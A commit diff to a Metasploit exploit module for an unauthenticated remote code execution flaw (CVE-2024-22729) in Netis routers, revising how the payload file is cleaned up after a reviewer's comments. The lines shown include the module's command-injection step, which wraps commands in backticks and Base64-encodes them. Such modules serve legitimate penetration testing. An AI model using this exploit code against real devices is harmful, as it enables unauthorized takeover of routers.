Update addressing cdelafuente-r7 comments

Author: h00die-gr3y

modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb

@@ -72,9 +72,10 @@ def initialize(info = {})
   end
 
   def execute_command(cmd, _opts = {})
-    # store name of payload and cleanup payload file when session is established (see def on_new_session)
-    @payload_name = cmd.split('+x')[1].strip if cmd.include?('chmod +x')
-
+    # cleanup payload file when session is established.
+    if cmd.include?('chmod +x')
+      register_files_for_cleanup(cmd.split('+x')[1].strip)
+    end
     # skip last command to remove payload because it does not work
     unless cmd.include?('rm -f')
       payload = Base64.strict_encode64("`#{cmd}`")
@@ -91,12 +92,6 @@ def execute_command(cmd, _opts = {})
     end
   end
 
-  def on_new_session(_session)
-    # cleanup payload file
-    register_files_for_cleanup(@payload_name.to_s)
-    super
-  end
-
   def check
     print_status("Checking if #{peer} can be exploited.")
     res = send_request_cgi({